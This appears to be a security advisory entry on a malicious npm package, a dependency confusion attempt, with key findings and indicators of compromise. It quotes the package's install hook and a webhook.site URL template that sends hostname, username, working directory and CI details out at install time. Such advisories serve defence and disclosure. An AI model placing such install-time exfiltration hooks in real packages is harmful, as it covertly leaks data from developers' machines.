GCVE-110-OSM-2026-5596

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution. Entrypoint: postinstall.js (install-hook: node postinstall.js) Payload: postinstall.js Key findings: - OAST/Interactsh Exfiltration in postinstall.js: "webhook.site" - Install Hook Executes Local JS File in package.json: ""postinstall": "node postinstall.js"" - Data Encoding for Exfiltration in postinstall.js: "encodeURIComponent(String(s || '').slice(0, 200" - Publisher Has Other Malicious Packages IOCs: - urls: https://www.globex.com/security-research - domains: global-exchange.com, www.globex.com - emails: security-research@global-exchange.com - webhookServices: https://webhook.site/18dc4281-d366-438a-9186-76fbcd56ade5?pkg=${pkgName}&ver=${pkgVer}&host=${hostname}&user=${username}&platform=${platform}&cwd=${cwd}&ci=${ci}&ts=${Date.now()}`; - payloadFileHash: 4c012ed0db2ff88d1a8ce244a70fad334cb37a266e557b37538e7f9580f0f164